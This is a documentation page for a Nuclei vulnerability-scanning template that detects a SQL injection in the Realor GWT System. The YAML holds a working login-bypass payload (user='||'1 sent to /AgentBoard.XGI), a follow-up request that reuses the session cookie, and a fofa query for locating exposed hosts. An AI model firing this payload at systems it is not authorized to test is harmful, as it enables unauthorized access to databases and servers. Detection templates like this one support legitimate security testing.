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Realor GWT System SQL injection

ID: realor-gwt-system-sqli

Severity: high

Author: SleepingBag945

Tags: realor,sqli

Description

Section titled “Description”

Realor GWT System system improperly handles the security of data passed by users, resulting in a SQL injection vulnerability. Remote and unauthorized attackers can use this vulnerability to obtain sensitive information in the database, and can further write webshell backdoors. Access, the attacker can execute arbitrary malicious code on the target server and gain system privileges.

YAML Source

Section titled “YAML Source”
id: realor-gwt-system-sqli


info:
  name: Realor GWT System SQL injection
  author: SleepingBag945
  severity: high
  description: |
    Realor GWT System system improperly handles the security of data passed by users, resulting in a SQL injection vulnerability. Remote and unauthorized attackers can use this vulnerability to obtain sensitive information in the database, and can further write webshell backdoors. Access, the attacker can execute arbitrary malicious code on the target server and gain system privileges.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/realor-gwt-system-sql-injection.yaml
  metadata:
    verified: "true"
    max-request: 2
    fofa-query: app="REALOR-天翼应用虚拟化系统"
  tags: realor,sqli


http:
  - raw:
      - |
        GET /AgentBoard.XGI?user='||'1&cmd=UserLogin HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /Board.XGI HTTP/1.1
        Cookie: PHPSESSID={{cookie}}
        Host: {{Hostname}}


    extractors:
      - type: regex
        name: cookie
        internal: true
        part: header
        group: 1
        regex:
          - 'PHPSESSID=(.*?);'
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1,"CustomInfo") && contains(header_1,"PHPSESSID")'
          - 'contains(body_2,"src=\"custom/")'
        condition: and
# digest: 4a0a004730450220577db5ad3cdfddbd82f6e72a94a4608997b9918ff23f2e5a77fd12f8361df1930221009bc9370f1e3bf03ca80ed80de993eaad2fe7d751ff276f31c88997ad36abd002:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/realor/realor-gwt-system-sqli.yaml"

View on Github